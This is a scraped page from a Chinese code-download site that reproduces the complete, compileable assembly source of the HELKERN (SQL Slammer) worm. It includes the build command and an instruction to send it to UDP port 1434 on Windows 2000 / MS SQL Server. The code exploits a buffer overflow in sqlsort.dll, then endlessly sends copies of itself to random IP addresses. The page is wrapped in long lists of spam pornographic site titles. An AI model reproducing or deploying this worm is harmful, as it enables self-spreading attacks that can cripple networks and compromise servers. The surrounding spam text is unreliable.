亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 29a-7.004

?? 從29A上收集的病毒源碼
?? 004
字號:

; HELKERN worm compileable disassembly
; =============================================================================
; compile: nasm -f bin helkern.asm
; run:     send to 1434/udp, win2000 / ms sql server

%macro          onstack  2
%assign         _cur_stk_size  (_cur_stk_size + %2)
%1              equ      _cur_stk_size
%endmacro

                BITS    32

worm_start:

                db      04h          ; will be reconstructed
                times   88 db 01h    ;
                dd      42B0C9DCh    ;

; constant code start

                jmp     short $+16   ; 8 bytes
                times   6 db 01h     ;

                dd      42AE7001h
                dd      42AE7001h

                nop
                nop
                nop
                nop

                nop
                nop
                nop
                nop

                push    dword 42B0C9DCh       ; [RET] sqlsort.dll -> jmp esp

; Reconstruct session, after the overflow the payload buffer
; get's corrupted during program execution but before the
; payload is executed.

                mov     eax, 01010101h
                xor     ecx, ecx
                mov     cl, 18h
                push    eax
                loop    $-1

                xor     eax, 05010101h
                push    eax

; lets go

                mov     ebp, esp

%define         _cur_stk_size   0

                push    ecx
                push    dword '.dll'
                push    dword 'el32'
                push    dword 'kern'         ; kernel32

onstack         _kernel32_dll, 16

                push    ecx
                push    dword 'ount'         ; GetTickCount
                push    dword 'ickC'
                push    dword 'GetT'

onstack         _gettickcount, 16

                mov     cx, 'll'
                push    ecx
                push    dword '32.d'         ; ws2_32.dll
                push    dword 'ws2_'

onstack         _ws2_32_dll, 12

                mov     cx, 'et'
                push    ecx
                push    dword 'sock'         ; socket

onstack         _socket, 8

                mov     cx, 'to'
                push    ecx
                push    dword 'send'         ; sendto

onstack         _sendto, 8

                mov     esi, 42AE1018h       ; IAT from sqlsort

                lea     eax, [ebp - _ws2_32_dll]  ; ws2_32.dll
                push    eax
                call    dword [esi]          ; call LoadLibraryA

                push    eax                  ; HINSTANCE ws2_32.dll

onstack         _ws2_32_base, 4

                lea     eax, [ebp - _gettickcount]
                push    eax                  ; ptr to GetTickCount (PUSH for GetProcAddress)

                lea     eax, [ebp - _kernel32_dll]  ; kernel32.dll
                push    eax
                call    dword [esi]          ; call LoadLibraryA

                push    eax                  ; HINSTANCE kernel32.dll (PUSH for GetProcAddress)

; Check entry point fingerprint for getprocaddress, if it failes
; fall back to GetProcAddress entry in another DLL version.
; Undetermined what dll versions this will succedd on. Due
; to the lack of reliable importing this may not work across all
; dll versions.

                mov     esi, 42AE1010h       ; IAT from sqlsort
                mov     ebx, [esi]
                mov     eax, [ebx]
                cmp     eax, 51EC8B55h  ; check entry point fingerprint
                jz      short VALID_GP
                mov     esi, 42AE101Ch  ; IAT entry -> 77EA094C
VALID_GP:
                call    dword [esi]     ; GetProcAddress

                call    eax             ; call GetTickCount

                xor     ecx, ecx
                push    ecx             ; 8 unused bytes of sockaddr_in
                push    ecx             ;

onstack         _sockaddr_unused, 8

                push    eax             ; sockaddr_in.sin_addr

onstack         _random_ip, 4

                xor     ecx, 9B040103h
                xor     ecx, 01010101h

                push    ecx             ; 9A050002 = port 1434 / AF_INET

onstack         _sockaddr_proto_and_port, 4

_sockaddr       equ     _cur_stk_size

                lea     eax, [ebp - _socket]  ; (socket)
                push    eax
                mov     eax, [ebp - _ws2_32_base]  ; ws2_32 base address
                push    eax
                call    dword [esi]     ; GetProcAddress

                push    byte 11h        ; IPPROTO_UDP
                push    byte 2          ; SOCK_DGRAM
                push    byte 2          ; AF_INET
                call    eax             ; call socket()

                push    eax             ; socket #

onstack         _socket_handle, 4

                lea     eax, [ebp - _sendto]  ; sendto
                push    eax
                mov     eax, [ebp - _ws2_32_base]  ; ws2_32 base address
                push    eax
                call    dword [esi]     ; GetProcAddress

                mov     esi, eax        ; save sendto -> esi

                or      ebx, ebx
                xor     ebx, 0FFD9613Ch

PRND:
                mov     eax, [ebp - _random_ip]  ; Pseudo Random Algorithm Start
                ;;
                lea     ecx, [eax+eax*2]
                lea     edx, [eax+ecx*4]
                shl     edx, 4
                add     edx, eax
                shl     edx, 8
                sub     edx, eax
                lea     eax, [eax+edx*4]
                add     eax, ebx        ; Pseudo Random Algorithm End
                ;;
                mov     [ebp - _random_ip], eax  ; just generated random ip

                push    byte 16         ; sizeof(sockaddr) = 16
                lea     eax, [ebp - _sockaddr]  ; sockaddr to
                push    eax
                xor     ecx, ecx        ; int flags = 0
                push    ecx
                xor     cx, worm_size + 8   ; int len = 376
                push    ecx
                lea     eax, [ebp + 3]    ; BYTE* buf
                push    eax
                mov     eax, [ebp - _socket_handle]  ; SOCKET socket
                push    eax
                call    esi             ; sendto

                jmp     short PRND      ; Jump back to Pseudo Random Algorithm Start

worm_size       equ     $-worm_start

; [EOF]

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
99久久精品国产麻豆演员表| 婷婷国产v国产偷v亚洲高清| 日韩一级黄色大片| 欧美猛男男办公室激情| 欧美特级限制片免费在线观看| 国产99久久久国产精品潘金网站| 激情欧美一区二区| 韩国理伦片一区二区三区在线播放| 青青草国产成人99久久| 蜜臀久久久99精品久久久久久| 日本伊人精品一区二区三区观看方式| 五月天欧美精品| 日本欧美久久久久免费播放网| 视频一区在线播放| 久久99热99| 国产精品一级二级三级| 99re66热这里只有精品3直播| 97久久精品人人爽人人爽蜜臀| 9久草视频在线视频精品| 91网站视频在线观看| 在线日韩国产精品| 91精品国产色综合久久久蜜香臀| 日韩一级完整毛片| 国产女人aaa级久久久级| 亚洲精品视频免费观看| 日韩国产精品大片| 国产精品一区一区| 日本高清成人免费播放| 日韩欧美国产一区二区在线播放| 精品国产乱码久久久久久1区2区 | 久久99久国产精品黄毛片色诱| 无码av免费一区二区三区试看| 免费在线观看不卡| 风间由美中文字幕在线看视频国产欧美| 成人免费视频视频在线观看免费| 色综合亚洲欧洲| 欧美成人三级在线| 亚洲色图视频免费播放| 日韩中文字幕av电影| 国产一区二区三区最好精华液| 91视频国产观看| 日韩精品一区二区三区四区视频 | 成人欧美一区二区三区白人| 日韩成人免费电影| 成人久久18免费网站麻豆| 欧美日韩一区三区| 国产精品超碰97尤物18| 老司机免费视频一区二区| 91视频观看视频| 精品久久久久99| 亚洲高清免费观看| av在线播放不卡| 欧美精品一区二区精品网| 亚洲一线二线三线久久久| 国产黑丝在线一区二区三区| 欧美日韩成人综合在线一区二区| 国产日本一区二区| 日韩国产一二三区| 99久久久精品免费观看国产蜜| 欧美一区二区精品久久911| 一区二区三区久久| k8久久久一区二区三区| 26uuu另类欧美亚洲曰本| 午夜精品成人在线| 欧美性生活影院| 亚洲人xxxx| 99re在线精品| 国产精品三级电影| 国产毛片精品国产一区二区三区| 欧美一区二区黄色| 天天色天天爱天天射综合| 在线免费观看一区| 亚洲免费在线播放| 成人h精品动漫一区二区三区| 精品乱码亚洲一区二区不卡| 秋霞av亚洲一区二区三| 制服视频三区第一页精品| 亚洲 欧美综合在线网络| 在线视频中文字幕一区二区| 亚洲男人的天堂av| 欧美亚洲综合久久| 亚洲国产你懂的| 欧美电影在哪看比较好| 日韩国产精品久久| 精品久久国产字幕高潮| 美女诱惑一区二区| 欧美成人艳星乳罩| 国产99久久久国产精品免费看| 国产亚洲精品bt天堂精选| 国产凹凸在线观看一区二区| 国产欧美日韩综合精品一区二区| 国产成人在线免费观看| 欧美激情一区在线观看| 色综合婷婷久久| 午夜精品福利久久久| 精品精品欲导航| 国产成人精品影视| 亚洲女子a中天字幕| 欧美午夜精品久久久久久孕妇 | 日韩欧美国产成人一区二区| 久久电影国产免费久久电影| 国产亚洲精品精华液| 91一区一区三区| 日本成人在线一区| 国产亚洲一区二区三区四区| www.亚洲精品| 日韩和欧美的一区| 日本一区二区三区dvd视频在线| 99麻豆久久久国产精品免费优播| 亚洲精品视频一区| 欧美大胆人体bbbb| 99re这里只有精品6| 日本最新不卡在线| 亚洲欧美区自拍先锋| 欧美高清精品3d| 成人福利视频在线| 欧美aⅴ一区二区三区视频| 国产精品久久久久影院老司| 欧美日韩你懂得| 成人亚洲一区二区一| 日本不卡在线视频| 亚洲精品国产视频| 国产午夜精品久久| 欧美精品久久天天躁| 91影院在线免费观看| 狠狠网亚洲精品| 午夜视频一区在线观看| 亚洲成av人在线观看| 国产午夜精品一区二区三区视频 | 青青草原综合久久大伊人精品优势 | 欧美一区二区三区小说| 成人aa视频在线观看| 久久精品二区亚洲w码| 亚洲影院理伦片| 国产精品区一区二区三区| 精品少妇一区二区三区在线播放 | 亚洲精品一区在线观看| 欧美午夜电影一区| 成人黄色777网| 激情综合色播激情啊| 天堂精品中文字幕在线| 亚洲乱码国产乱码精品精98午夜 | 一区二区三区免费网站| 日本一区二区在线不卡| 久久日韩精品一区二区五区| 91麻豆精品国产91久久久久| 在线视频你懂得一区二区三区| 国产·精品毛片| 国产伦精品一区二区三区视频青涩 | 日本成人中文字幕在线视频| 亚洲最色的网站| 亚洲综合在线免费观看| 樱桃视频在线观看一区| 亚洲美女区一区| 亚洲另类在线视频| 亚洲综合色成人| 一区二区理论电影在线观看| 亚洲欧美日韩电影| 亚洲精品高清在线| 亚洲一级二级在线| 亚洲成精国产精品女| 日韩在线观看一区二区| 午夜久久久久久久久久一区二区| 亚洲国产欧美日韩另类综合| 视频一区视频二区在线观看| 香蕉久久夜色精品国产使用方法| 亚洲第一激情av| 六月婷婷色综合| 国产不卡一区视频| 97久久超碰国产精品| 欧美在线视频不卡| 日韩欧美在线123| 久久久精品tv| 亚洲欧美日韩久久| 日本强好片久久久久久aaa| 精品一区二区日韩| 国产suv精品一区二区6| 91免费版pro下载短视频| 欧美日韩在线直播| 精品国产乱码久久久久久蜜臀| 亚洲不卡在线观看| 精品午夜一区二区三区在线观看| 国产高清成人在线| 欧美在线观看18| 精品日韩av一区二区| 中文字幕视频一区| 日本麻豆一区二区三区视频| 国产成人午夜电影网| 欧美性大战xxxxx久久久| 精品三级在线看| 亚洲激情校园春色| 国内久久精品视频| 欧美在线观看禁18| 欧美激情在线看| 免费成人小视频| 91国产免费看| 国产日韩欧美亚洲| 日韩av高清在线观看| 97久久超碰国产精品| 欧美mv日韩mv亚洲|